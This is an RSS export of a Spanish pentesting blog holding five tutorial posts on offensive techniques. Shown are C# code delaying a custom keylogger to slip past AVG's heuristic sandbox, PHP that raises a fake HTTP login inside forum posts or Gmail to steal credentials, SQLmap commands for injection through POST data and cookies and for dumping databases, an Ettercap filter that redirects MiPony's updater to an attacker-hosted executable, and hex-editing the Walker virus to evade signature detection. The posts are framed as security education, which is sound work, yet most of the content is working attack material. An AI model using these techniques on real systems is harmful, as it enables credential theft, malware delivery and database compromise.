Blog de Miguel Díaz » Pentesting http://www.blogdemigueldiaz.com Blog sobre Informática, programación y diseño Web Fri, 14 Jun 2013 19:00:38 +0000 es-ES hourly 1 http://wordpress.org/?v=3.6.1 Técnicas de evasión frente antivirus o cómo burlar un antivirus – Parte 2.1 – Análisis heurísticos http://www.blogdemigueldiaz.com/2013/04/tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos/?utm_source=rss&utm_medium=rss&utm_campaign=tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos http://www.blogdemigueldiaz.com/2013/04/tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos/#comments Wed, 24 Apr 2013 18:22:06 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2302 Continuar leyendo ]]> antivirusHace un tiempo vimos las diferentes formas en las que un antivirus detectan las amenazas, centrándonos en el análisis de firmas y vimos una forma básica de burlarlo. En esta entrada (2.1) y en la siguiente (2.2) nos centraremos en los análisis heurísticos que tratan de identificar el malware a través de su comportamiento. Por ejemplo, si un ejecutable se copia a los diferentes pendrives  y se conecta a un servidor , es muy probable que un antivirus lo detecte como una amenaza.

Generalmente los antivirus corren los ficheros en un sandbox donde analizan su comportamiento. Una vez sabemos básicamente como funcionan estos análisis vamos a ver cuatro ejemplos de cómo burlar este tipo de análisis, que van desde saturar el proceso dedicado al análisis a detectar si estamos siendo analizados por un antivirus para realizar unas acciones u otras. En nuestro ejemplo usaré un Keylogger programado para la ocasión y el antivirus AVG el cual tiene protección heurística y como podemos ver es identificado como una amenaza.

Excediendo el tiempo límite de análisis.

Este es el ejemplo mas básico de los que vamos a ver, se basa en la limitación de los antivirus a la hora de analizar un fichero y es que por razones de optimización no es capaz de mantener un análisis constante hacia un fichero pasado un tiempo sin actividad sospechosa lo toma como fiable, este método aunque puede sonar sencillo es tenido en cuenta por muchos antivirus que suprimen las “pausas” que tenga el proceso, así que lo correcto es que el malware realice acciones legítimas durante el tiempo que dura dicho análisis a fin de ser considerado un software no malicioso. Un ejemplo de esto es el siguiente código:

Para vurlarlo en este primer ejemplo lo que haremos es iniciar la función keylogger() pasado un determinado tiempo, sin realizar llamadas a Thread.sleep o demás formas “deducibles”, para ello iniciamos en un hilo a parte una funcion encargada de ver si ha pasado dicho tiempo

  double inicio; //Guarda el milisegundo en el que se inicia el programa
 private void Form1_Load(object sender, EventArgs e)
        {
            inicio = new TimeSpan(DateTime.Now.Ticks).TotalMilliseconds;
            hilo_key = new Thread(startKeylogger);
            hilo_key.Start();
        }

Como podéis ver lo primero que hacemos es comprobar el momento en el que se ha iniciado la aplicación y guardarlo en la variable global inicio, a continuación llamamos al proceso startKeylogger la cual se encargará de ver si ha pasado el tiempo indicado como vemos a continuación

      //Inicia el keylogger cuando hayan pasado 5 minutos
        private void startKeylogger()
        {
            while (1==1)
            {
                if (new TimeSpan(DateTime.Now.Ticks).TotalMilliseconds > inicio + 300000) //Si han pasado 5 minutos
                {
                    while (1==1) //Bucle sin sentido, lo explicaremos mas abajo.
                    {
                        keylogger(); //Inicia el keylogger
                    }
                }
                else
                {
                    System.Threading.Thread.Sleep(1000); //Si no han pasado cinco minutos espera un segundo hasta volver a realizar la comprobación
                }
            }
        }

Si bien puede parecer algo enrevesada esta función lo único que hace es comprobar si el tiempo actual es inicio (el momento en el que arrancó el software) mas 30000 segundos, lo correspondiente a cinco minutos, en caso de que no sea así vuelve a ejecutarse la comprobación hasta que dicha condición se cumpla.

Además es importante jugar con diferentes formas de hacer este tipo de cosas aunque por que cuanto mas compliquemos el camino mas efectivo será contra un análisis heurísticos pesar de que no sea “lógico” en términos de programación, ya que a mas acciones “no perjudiciales” detecte el motor antivirus menos motivos hay para sospechar. De ahí podemos ver el segundo bucle infinito que es simplemente algo absurdo y que a razón de eficiencia podríamos suprimir dejando solo keylogger();

Si os fijáis hemos puesto algunos Sleeps, los cuales no son pensando en el análisis heurístico, ya que probablemente sean omitidos, si no que son pensados para reducir el consumo de recursos en el equipo ya que realizar las comprobaciones de forma infinita y sin control daría como resultado un alto uso de CPU.

En este caso, esta modificación es suficiente para que AVG no detecte mi software como malicioso, pero en cualquier caso en la próxima entrega explicaremos otros medios mas sofisticados a la par que efectivos para detectar si estamos siendo analizados.

]]>
http://www.blogdemigueldiaz.com/2013/04/tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos/feed/ 2
Ingeniería social mediante solicitudes HTTP remotas – Un ejemplo de phishing http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/?utm_source=rss&utm_medium=rss&utm_campaign=ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/#comments Thu, 18 Apr 2013 12:04:28 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2208 Continuar leyendo ]]> seguridadHoy quiero compartir un método de ingeniería social que nunca he visto documentado, pero muy creíble y eficaz que se apoya de la propiedad que tienen muchas aplicaciones (Web o de escritorio) de realizar peticiones HTTP a servidores remotos. Un buen ejemplo sería la particularidad que tienen los foros de Internet a incluir imágenes de servidores externos mediante la etiqueta [IMG] o <img>.

Estas peticiones envían nuestras cabeceras igual que a cualquier otra Web y podemos enlazar imágenes o un fichero php corriente, la única diferencia es que el navegador intentará mostrarlo como una imagen una vez descargado y quizás no pueda, pero en la parte de servidor se ejecutará todo igual, por lo que estas consultas pueden diseñarse para realizar cualquier acción que se le permita al navegador y es aquí donde se puede aprovechar la ingeniería social para perpetuar ataques tipo phishing, entre otros.

Un caso típico de phishing es enviar un enlace donde se pide un usuario y contraseña simulando ser una página legítima, estadísticamente sigue funcionando, pero a día de hoy no es tan efectivo por que es fácilmente detectable con solo ver la URL, además la gente está bastante “educada” de no abrir enlaces desconocidos, así que lo que veremos es como solicitar las credenciales a un usuario sin que este visite un sitio Web, simplemente le aparecerá la ventana de login mientras abre un hilo.

Caso práctico: Robo de credenciales de un foro sin abandonar la Web

Como hemos visto antes, una consulta HTTP que solicita una imagen es exactamente igual a una consulta que solicita un fichero, una imagen puede tener extension .php o cualquier otra. Los captcha, por ejemplo al ser una imagen dinámica tienen extensión .php ya que se autogeneran a si mismos cada vez que se imprimen ¿pero cómo puede utilizarse esto en un ataque de phishing? El protocolo HTTP incluye una característica de autentificación que permite al administrador poner ciertos ficheros o directorios bajo contraseña, al realizar una petición hacia ellos el usuario verá un formulario de login, si habéis entrado a un router sabréis de lo que estoy hablando. Un ejemplo de fichero que solicita contraseña al recibir una petición HTTP sería este

fichero.php

<?php
    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"');
    header('HTTP/1.0 401 Unauthorized');
    exit();
?>


Básicamente estamos enviando una cabecera que dice al navegador “Oye, para ver este fichero necesito que me des una contraseña”, en esta cabecera, además tenemos un campo (realm) en el que podemos escribir lo que queramos, esto normalmente se hace para describir el servicio o el por que se necesita una contraseña. Como queremos pasar inadvertidos nosotros pondremos una URL interna del foro, así el usuario pensará la solicitud proviene de desde el propio foro, esto es lo que se vería al intentar abrir el fichero a través del navegador

saaaaaa

Si un usuario una contraseña podríamos leerlas mediante $_SERVER['PHP_AUTH_USER'] y $_SERVER['PHP_AUTH_PW'], por lo que un fichero que solicitara un usuario y contraseña y una vez introducidos los guardara en un txt podría ser algo como

fichero.php

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) { //Si no se ha introducido ningun usuario
    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"'); //Muestra la ventana de credenciales
    header('HTTP/1.0 401 Unauthorized');
    exit;
}else { //Si se ha introducido algun usuario lo guarda en documento.txt
}
?>

Pero claro, si queremos sacar esto a flote no nos valdría con abrir un hilo con un enlace a dicho fichero ya que la mayoría de gente, al ver que pulsan un enlace que les lleva fuera del foro pensarían que la contraseña se refiere a otro sitio o directamente se darían cuenta del intento de engaño. Nosotros queremos que el formulario de usuario y contraseña aparezca directamente en el foro, pues nada mas simple como crear un mensaje que apunte hacia nuestro fichero mediante las etiquetas de imagen [img]http://url_maliciosa/imagen.php[/img]

Captura2

Cuando alguien abra el hilo, al cual obviamente le pondremos un título sugerente e interesante (o responderemos a uno que creamos que va a tener éxito) aparecerá una bonita ventana de login la cual aparece dentro del propio foro y haciendo referencia a una foto.

Para el usuario es algo muy transparente, está navegando por el foro y de golpe el propio foro parece que le pide las credenciales para ver un fichero adjunto, la URL del navegador sigue siendo legítima, no ha seguido ningún enlace externo, no hay motivo aparente para desconfiar.

Pero esto es ampliable a muchos otros caso, por ejemplo, imagina que mandas un correo con dicha imagen a un email de Gmail, hay dos posibilidades si tiene el filtro de imágenes activado le pedirá hacer clic en “mostrar imágenes” y una vez lo haga pedirá login y si está desactivado, al intentar abrir el mensaje pedirá login, además como Gmail es tal “cool” carga el email en segundo plano por lo que aparece el formulario incluso antes de abrirlo

Capturasda

En definitiva y por concluir hemos aprendido a que NUNCA hay que introducir nuestras credenciales si no estamos totalmente seguros de lo que estamos haciendo ya que a veces lo que el ojo ve no es lo que hay que creer.

]]>
http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/feed/ 0
Curso de SQLmap a fondo – Parte 2 – Vulnerabilidades en variables POST, Cookies y obtención de información del usuario http://www.blogdemigueldiaz.com/2013/04/curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario/?utm_source=rss&utm_medium=rss&utm_campaign=curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario http://www.blogdemigueldiaz.com/2013/04/curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario/#comments Sat, 13 Apr 2013 12:57:55 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2182 Continuar leyendo ]]> mysqlSi habéis seguido el post inicial del curso os habréis dado cuenta de que SQLmap es una potente herramienta, mucho mas que un simple detector de SQLinjection es un potente framwork para la explotación de esta vulnerabilidad. En la pasada entrega aprendimos a buscar vulnerabilidades mediante las variables GET, a realizar consultas SQL y a volcar las bases de datos a nuestro disco duro, pero no debemos cerrarnos únicamente a las variables GET, ya que hay muchos apartados como buscadores, formularios de login que funcionan mediante las variables POST y Cookies lo cual supone cerca de un 70% de los “Inputs” de cualquier Web, por eso hoy veremos como buscar inyecciones de SQL en POST y Cookies. Además, aprenderemos a recolectar información acerca del usuario de la base de datos y sus permisos. Es muy importante tener en cuenta que para seguir este curso es necesario tener conocimientos de HTML y SQL Injection

Realizando un ataque hacia un formulario de login

Lo primero para esto es saber hacia que Web lanza la petición nuestro formulario, puesto que el lector de este curso tiene conocimientos de HTML no voy a reparar en explicar como saberlo, en nuestro caso la petición se hará contra checkuser.php, y los campos del formulario se llamarán inputUser e inputPassword

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345"

Como veis, igual que en los ejemplos anteriores introducimos la URL, pero despues añadimos el modificador --data, el cual define todos los datos que serán enviados mediante el método POST, las variables se separan con “&” igual que se hace en la cabecera.

Ahora imaginemos que solamente queremos analizar una variable y la otra queremos dejarla “fija”, para ello usaremos el modificador -p seguido de la variable que deseamos analizar, por ejemplo, en este caso sabemos que la variable inpuUser no es vulnerable, así que como no queremos perder tiempo vamos a realizar las pruebas únicamente con la variable inputPassword

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345" -p "inputPassword"

Hay que tener en cuenta que un formulario puede verificar otros campos como el nombre del botón que se ha pulsado para ser enviado, etc. Podemos ayudarnos de herramientas como Tamper Data, para obtener esta información o ver el código fuente de la página.

Si todo ha ido bien obtendremos una vulnerabilidad, si no podemos probar con el parametro --level=5 y --risk=3 para aumentar las posibilidades y complejidad de las consultas.

Captura

A continuación vamos a obtener toda la información posible del usuario actual, para ello en primer caso usaremos el modificador --current-user para averiguar qué usuario estamos utilizando.

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345" -p "inputPassword" --current-user
Captura

En este caso, al ser el usuario root sabremos que permisos tiene (todos) pero en caso de que sea un usuario diferente podemos saber que privilegios tiene usando el modificador --privileges

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345" -p "inputPassword" --privileges

Captura

Como vemos este usuario, al ser root tendría permiso a todo, desde consultas simples a ejecutar comandos o subir ficheros (cosas que aprenderemos en la siguiente entrega), también podriamos usar el comando --is-dba para ver si es administrador de la base de datos.

Lo último que explicaré hoy es cómo buscar vulnerabilidades de SQLinjection a través de las cookies, las cookies suelen ser un punto crítico en muchas páginas ya que los administradores muchas veces olvidan sanearlas ya que son ellos mismos quién las generan y olvidan que el usuario final puede modificarlas si quieren, por tanto es un punto a tener muy en cuenta a la hora de auditar una aplicación.

En nuestro ejemplo, usaremos un sitio que usa dos cookies, una llamada “sesion” y otra llamada “secreto”, el modificador a usar es --cookie=”id_cookie1=valor1&id_cookie2=valor2″

./sqlmap.py -u "http://ejemplo.com/web.php" --cookie="sesion=admin&secreto=prueba"
Captura

Y hasta aquí la entrega de hoy, en la próxima aprenderemos a leer ficheros locales del servidor vulnerado, ejecutar comandos y obtener una shell del sistema y subir ficheros

]]>
http://www.blogdemigueldiaz.com/2013/04/curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario/feed/ 2
Pentesting: SQL Injection – Curso de SQLmap a fondo – Parte 1 http://www.blogdemigueldiaz.com/2013/04/sql-injection-curso-de-sqlmap-a-fondo-i/?utm_source=rss&utm_medium=rss&utm_campaign=sql-injection-curso-de-sqlmap-a-fondo-i http://www.blogdemigueldiaz.com/2013/04/sql-injection-curso-de-sqlmap-a-fondo-i/#comments Thu, 04 Apr 2013 18:05:33 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2074 Continuar leyendo ]]> mysqlLas inyecciones de SQL llevan siendo desde hace años el top de vulnerabilidades Web ya que es fácil cometer un error al validar una entrada, bien por despiste del programador o por desconocimiento. Detectarlas son medianamente fácil mediante el método de ensayo-error, pero justo por eso hay veces se torna una tarea tediosa. Por esto nació SQLmap, que se encargará de probar múltiples combinaciones  hasta dar con una válida. Además, una vez encontrada nos permitirá realizar acciones como descargar la base de datos o consultas SQL. Durante la primera entrega aprenderemos a buscar vulnerabilidades de una Web a través de las variables GET probando diferentes niveles de dificultad y una vez conseguido aprenderemos a ver las diferentes bases de datos, copiarlas a nuestro disco duro o ejecutar consultas SQL. Para seguir este curso debes conocer en qué consisten las inyecciones SQL.

Ejemplo básico de SQLmap para encontrar una vulnerabilidad en variables GET

Como todos sabemos, hay varias formas de enviar variables a un servidor Web, por un lado está GET, que incluye esta información de manera visible en la URL y por otro lado POST, que es aquella información enviada de forma transparente al usuario y generalmente usada en los formularios, pongamos un ejemplo de la típica Web de noticias en las que su URL termina con un id=NUMERO_NOTICIA, en nuestro ejemplo será http://ejemplo.com?id=3, si quisieramos lanzar un escaneo básico a esta Web deberiamos hacer

./sqlmap.py -u "http://ejemplo.com?id=3"

-u establece la URL a analizar, es muy importante poner la URL siempre entrecomillada, especialmente si queremos analizar mas de una variable ya que en caso contrario sqlmap no será capaz de reconocer mas que la primera de ellas.

Si la URL constara de mas de una variable y solo quisiéramos analizar una de ellas, manteniendo el resto estáticas utilizaremos el modificador -p “nombre_variable” para indicar que variable analizar, por ejemplo si tenemos la URL http://ejemplo.com/login.php?user=miguel&password=12345 y quisiéramos analizar la variable password deberiamos poner:

./sqlmap.py -u "http://ejemplo.com/login.php?user=miguel&password=12345" -p "password"

Una vez lanzado el proceso SQLmap comenzará a lanzar consultas en las diferentes variables de la URL hasta encontrar una válida, si no encontrara ninguna podríamos aumentar el nivel de dificultad, esto lanzará consultas mas complejas que intenten evitar los métodos mas conocidos de validación de entrada, si todo ha ido bien obtendremos algo como esto:

IMG_20130402_200250

Pero por el contrario si no se ha encontrado ninguna vulnerabilidad nos encontraremos un mensaje advirtiéndonos de que ninguna de las variables es vulnerable, si es así puedes probar el modificador --level=NUMERO para aumentar la dificultad, hay cinco niveles diferentes, otro modificador interesante es -v NUMERO, que como suele ser habitual se refiere al modo vervose de la aplicación, cuanto mas alto sea el numero mas información nos mostrará sqlmap mientras realiza el escaneo, viene muy bien si nos interesa revisar los encabezados que se reciben, etc y así asegurarnos de que no se le está pasando por alto nada a sqlmap

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --level=5 -v 3

Pero SQLmap es mucho mas que un puro escaner, lo realmente interesante de SQLmap es que una vez encontrada la vulnerabilidad nos ofrece multiples opciones interesantes para interactuar con la base de datos, por ejemplo, si queremos obtener un listado con las bases de datos existentes bastaría con usar el modificador --dbs

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dbs

A lo que obtendremos algo como

Captura

Donde vemos que ha encontrado dos bases de datos, si quisiéramos saber cuál es la base de datos actual a la que estamos conectados tendríamos que usar el modificador --current-db

Otro modificador interesante es --tables el cual nos permite ver el nombre de las tablas. Por defecto mostraría las tablas de todas las bases de datos, pero si quisiéramos ver únicamente las tablas de una base de datos en concreto añadiremos el modificador -D “nombre_base_datos”

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --tables -D information_schema

Nos mostraría el nombre de las tablas de la base de datos information_schema

Captura

Es interesante saber que toda la información extraída la va guardando en ficheros de texto dentro de la carpeta output.

Además podemos ejecutar arbitrariamente una sentencia SQL mediante el modificador --sql-query=”CONSULTA SQL” por ejemplo

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --sql-query="SELECT user,pass FROM usuarios WHERE user LIKE '%admin%'"

Que nos daría en este caso algo parecido a esto

Captura

Otro modificador importante si vamos a realizar varias consultas SQL es --sql-shell el cual nos proporciona una shell de SQL para ejecutar las consultas que necesitemos.

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --sql-shell

Por último vamos a ver como guardar una copia de las bases de datos en nuestro PC mediante el modificador --dump, este modificador guardará todas las tablas por lo que es interesante utilizar el modificador -T “NOMBRE_TABLA” para dumpear únicamente aquello que nos interese

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump -T usuarios

Además de que el resultado nos lo va a mostrar nos va a generar un fichero csv que podemos abrir con cualquier programa como excel para consultarlo de una manera mas cómoda, si quisieramos seleccionar una base de datos diferente a la actual debemos usar el modificador --D “nombre_base_datos”

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump -D "information_schema" -T "GLOBAL_VARIABLES"

Captura

Si por el contrario estamos ansiosos de información podemos volcar todo el contenido de todas las bases de datos mediante el modificador --dump-all

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dump-all

Y esto es todo por hoy hasta la próxima entrega en la que explicaremos otras funciones, no tan conocidas pero muy útiles y potentes de SQLmap.

]]>
http://www.blogdemigueldiaz.com/2013/04/sql-injection-curso-de-sqlmap-a-fondo-i/feed/ 4
Actualizaciones inseguras (Evilgrade): Descubriendo aplicaciones vulnerables y explotándolas con Ettercap http://www.blogdemigueldiaz.com/2012/09/actualizaciones-inseguras-exploit-ettercap-evilgrade/?utm_source=rss&utm_medium=rss&utm_campaign=actualizaciones-inseguras-exploit-ettercap-evilgrade http://www.blogdemigueldiaz.com/2012/09/actualizaciones-inseguras-exploit-ettercap-evilgrade/#comments Wed, 19 Sep 2012 05:15:20 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=1929 Continuar leyendo ]]> Cómo todos sabemos cuando un programa se actualiza este lo hace realizando una solicitud a un servidor, este le responde diciendo cual es la versión actual y donde descargarla. A continuación si el programa tiene una versión distinta descarga el instalador y lo ejecuta, hasta aquí nada nuevo pero si no se toman las medidas adecuadas las actualizaciones pueden ser un fallo de seguridad en si mismo. Contradictorio ¿no?

Básicamente son aquellas en las que una vez descargadas, el sistema de actualizaciones no comprueba si ese fichero es legítimo (bien mediante la firma del fabricante o cualquier otra medida de seguridad) por lo que si un atacante efectúa un Man In The Middle podría hacerse pasar por el servidor y decirle al actualizador que existe una nueva versión la cual debe descargarse desde un servidor ilegitimo.

Caso práctico vulnerabilidad Evilgrade en MiPony.

El primer paso es saber de que forma se actualiza la aplicación, saber cómo verifica si está actualizada o no y de dónde obtiene los ficheros necesarios para obtener dicha actualización. En mi caso he decidido auditar la última versión de MiPony simplemente por que me olía que sería vulnerable a este tipo de ataques. Obviamente he avisado MiPony de esta vulnerabilidad así que imagino que la resolverán en breve.

Para monitorizar como trabaja la aplicación a la hora de buscar actualizaciones simplemente dejaremos ejecutando MiPony sin ningún trabajo activo, además mediante WireShark capturaremos el tráfico de red. Por último pediremos a MiPony que nos busque actualizaciones, un vez hecho paramos Wireshark y analizamos el tráfico generado.

Lo primero que podemos ver es que el programa realiza una consulta HTTP hacia http://www.mipony.net/checkversion/?v=2.0.0&l=es-ES no hay que ser un genio para intuir que el la variable v=2.0.0 corresponde a la versión del programa. Posteriormente podemos ver resaltado en azul que el servidor nos devuelve una página Web con el texto “ok”. Esto se produce por que tenemos la última versión, por tanto el programa al recibir el texto “ok” sabe que está actualizado y ahí termina el proceso.

¿Pero que pasaría si nuestra versión no fuera la 2.0.0? Pues muy fácil podemos comprobarlo visitando la URL cambiando el parametro v, por ejemplo si visitamos http://www.mipony.net/checkversion/?v=1.0.0&l=es-ES veremos que la respuesta es distinta, en este caso nos devuelve una URL: http://www.mipony.net/checkversion/download.php la cual es la dirección que se abre cuando no tenemos MiPony actualizado y pulsamos en actualizar.

Modificando las peticiones y explotando Evilgrade en MiPony

Muy bien, ya sabemos el método que usa MiPony para actualizarse: Consulta una URL, si esta responde OK el programa sabe que está actualizado, si devuelve una URL nos abre dicha dirección la cual contiene una página donde descargar la última versión o un enlace directo al instalador, ahora toca modificar la respuesta que realiza MiPony para hacer que dicha URL apunte a nuestro propio servidor, para ello utilizaremos una potentisima herramienta llamada Ettercap.

Ettercap es una herramienta la cual incluye multiples herramientas para ataques Man In The Middle, lo mas interesante de ella es que podemos programar filtros que modifiquen los paquetes de la red, si nunca has utilizado ettercap lee primero algo acerca de el.

He escrito un pequeño filtro para ettercap que os pongo aquí, como veis el lenguage es muy parecido a C, con algunas diferencias, por ejemplo la sentencia if () debe llevar un espacio entre if y el paréntesis.

Si necesitas ayuda para escribir tus propios filtros consulta $man etterfilter para ver las funciones disponibles.

mipony.filter

#En caso de que sea una petición TCP Web
if (ip.proto == TCP && tcp.dst == 80) {
    #Y contenga MiPony
    if (search(DATA.data, "mipony")){
        #Modifica la cadena 2.0 por 1.0
        replace("2.0", "1.0");
        msg("mipony detectado");
    }
#En caso de que la peticion no sea TCP
}else{
    #Pero si contenga MiPony
    if (search(DATA.data, "mipony")){
        #modifica la url de la pagina de descargas, por la url que contiene nuestro exe
        replace("http://www.mipony.net/checkversion/download.php", "http://blogdemigueldiaz.com/descarga/mipony.exe");
        msg("mipony2 detectado");
    }
}

Lo que hace es comprobar los paquetes que contienen “mipony” y realiza dos acciones, en caso de que sea TCP modifica el texto 2.0 por 1.0, de esta forma cuando se realice la petición  a http://www.mipony.net/checkversion/?v=2.0.0&l=es-ES realmente el servidor recibirá una petición hacia http://www.mipony.net/checkversion/?v=1.0.0&l=es-ES, por otro lado las consultas que no sean TCP pero que si contengan “mipony”, es decir las respuestas que nos de el servidor reemplazara la cadena “http://www.mipony.net/checkversion/download.php” por “http://blogdemigueldiaz.com/descarga/mipony.exe” que es donde guardaremos el ejecutable que queramos que el usuario descargue y ejecute, notese que ambas cadenas contienen el mismo número de caracteres en caso contrario no coincidiría con la longitud del paquete y nos daría problemas. Una vez hayáis escrito vuestro filtro debéis compilarlo con:

Donde mipony.filter sería el fichero de código fuente y mipony.ef el fichero de salida, si alguna vez habéis usado gcc os sonará la sintaxis.

Ahora por nuestra parte solo faltaría iniciar ettercap realizar un ataque MITM y cargar el filtro, podéis realizarlo tanto en con la interfaz gráfica ejecutando ettercap -C o ettercap -G como en la versión de texto de esta forma

Dónde -Q es para que no nos muestre información sobre cada paquete, -M el modo para realizar el ataque de MITM en nuestro caso ARP Poisoning -F es el filtro que queramos aplicar y -T que queremos usar ettercap en modo texto.

Cuando una víctima en nuestra red abra su programa obtendrá un bonito mensaje diciendo que si desea actualizar MiPony, al pulsar Si se descargará el ejecutable que nosotros le hayamos pedido.

Métodos de proteger nuestras aplicaciones:

Hay muchísimos métodos para ello, los dos principales serían utilizar protocolos cifrados como SSL para impedir que nuestros paquetes sean vistos y modificados por terceros y  que sea el propio software el que arranque el programa de instalación y que SIEMPRE se asegure que el programa está debidamente firmado.

Nada mas,

Happy Hacking.

]]>
http://www.blogdemigueldiaz.com/2012/09/actualizaciones-inseguras-exploit-ettercap-evilgrade/feed/ 0
Técnicas de evasión frente antivirus o cómo burlar un antivirus – Parte 1 – Firmas http://www.blogdemigueldiaz.com/2012/02/por-que-los-antivirus-son-inutiles-o-como-burlar-un-antivirus-parte-1/?utm_source=rss&utm_medium=rss&utm_campaign=por-que-los-antivirus-son-inutiles-o-como-burlar-un-antivirus-parte-1 http://www.blogdemigueldiaz.com/2012/02/por-que-los-antivirus-son-inutiles-o-como-burlar-un-antivirus-parte-1/#comments Thu, 23 Feb 2012 22:54:36 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=1550 Continuar leyendo ]]> Todos sabemos qué es un antivirus, cuales son sus funciones y qué forma tienen de proteger nuestros equipos. Lo que explicaré en este y otros dos artículos es el funcionamiento interno de los mismos para que sepamos cómo funciona un antivirus, de que forma detectan las amenazas y por qué no son útiles frente ataques dirigidos. Además pondré casos prácticos con ejemplos de cómo burlarlos.

En esta parte comentaremos como funciona la detección de malware mediante firmas, la forma mas utilizada desde el nacimiento de los antivirus.

¿Cómo se diferencia un virus de un archivo que no lo es?

Como todos sabemos algo que diferencia unos antivirus de otros es la cantidad de firmas que contiene, es decir la cantidad de virus que tiene catalogados en su base de datos y es capaz de identificar. Pero ¿Qué son las firmas?

Como todos sabemos un archivo está formado por una cantidad de bytes los cuales en conjunto dicen qué hacer al sistema operativo, por tanto cada programa tiene una secuencia de bytes distinta al resto, no hay dos programas distintos que usen la misma secuencia de bytes.

Sabiendo todo esto es lógico pensar que si tenemos una base de datos donde figure una copia de los bytes de los diferentes virus luego podríamos comparar cada archivo con ella y determinar si es un virus en caso de que exista en la base de datos. Pero esto no es del todo así ya que una base de datos que contenga integramente todos los bytes de los miles y miles de virus que hay sería totalmente inviable por su tamaño.


Parte del código del virus Walker.

Lo que se hace en realidad es tomar fragmentos del código en lugar de todo el mismo y almacenarlo en la base de datos.

Cuando el programa antivirus empiece a analizar ficheros buscara en cada fichero coincidencias en su código con los almacenados en la base de datos si encuentra una coincidencia lo catalogará como una amenaza y cuanto mas coincidencias mas indudable para el será que es un virus.

El análisis mediante firmas a priori parece muy fiable pero si lo pensamos concienzudamente nos damos cuenta de lo frágil que es, pensemos que si logramos detectar  cuales son las partes (en adelante firmas)  modificarlos y que este continue funcionando el antivirus será incapaz de detectarlo.

Caso práctico: Burlando un antivirus con el virus Walker.

El virus Walker es uno de los virus de antaño mas conocidos que existen, originario de Estambul y creado en el año 1992, los efectos de este virus son graciosos y es que muestra un hombrecillo caminando por la pantalla cada cierto tiempo. Como todos podéis suponer este es un virus que deberían tener mas que trillado todos los antivirus.

Para el ejemplo que voy a poner voy a usar en todo momento el antivirus Microsoft Security Essentials, como veis detecta sin problemas la amenaza y es capaz de desinfectarla.

Paso uno: Averiguar qué partes del código está tomando el antivirus como firmas

Como hemos dicho antes el antivirus compara partes del código con su base de datos para decidir que es un virus o que no lo es, por tanto tenemos que detectar dichas partes, para ello dividiremos el virus en partes y las examinaremos con el antivirus para ver con cual (o cuales de ellas salta). En mi ejemplo usaré el programa HJSplit que permite definir el tamaño de cada parte.

En nuestro caso, puesto que el virus es pequeño (solo 6Kb) vamos a dividirlo en dos partes de 3Kb. Una vez dividido pasamos el antivirus a cada parte y obtenemos los resultados:

Como vemos en la imagen el antivirus está detectando la primera parte del archivo por lo cual el resto del código podemos dejarlo como está ya que no es detectado por nuestro antivirus, si quisieramos afinar mas dónde está la firma podriamos dividir la primera parte en otras y volver a analizarlas hasta tener un fragmento mínimo. Pero puesto que nuestro ejemplo es muy pequeño y la parte detectada es de solo 3Kb lo dejaremos así.

Paso 2: Modificando el código para hacer a Walker indetectable.

Esta es quizás la parte mas compleja de todo el ejemplo y puede variar dependiendo de muchos factores, en las próximas partes comentaremos otros modos de edición.

Lo primero es abrir la parte que detecta el antivirus con un editor hexadecimal, esto nos mostrará sus bytes en código hexadecimal y podremos identificar de una manera mas o menos sencilla las partes editables. Nosotros usaremos HxD pero podéis utilizar cualquier otro.

Una vez abierto lo mas fácil es ojear un poco el código en su parte derecha para buscar cadenas de texto

Lo que vamos a hacer es editar estas cadenas de texto que como vemos son dedicaciones, etc, por otro, en nuestro caso serán puntos dejandolo así, debemos buscar bien y cambiar la mayor parte posible del código, en nuestro caso tendremos otra cadena de texto similar un poco mas abajo la cual también sustituiremos con puntos.

Una vez hecho los cambios analizaremos de nuevo la parte para ver si ya no lo detecta, en caso deque lo detectase deberiamos seguir cambiando código.

Paso 3: Volver a montar los ficheros y probarlo.

Es una parte lógica, volver a montar los ficheros mediante el mismo programa que hemos usado para partirlos. Como vemos, tras analizarlo no se debería encontrar ninguna amenaza

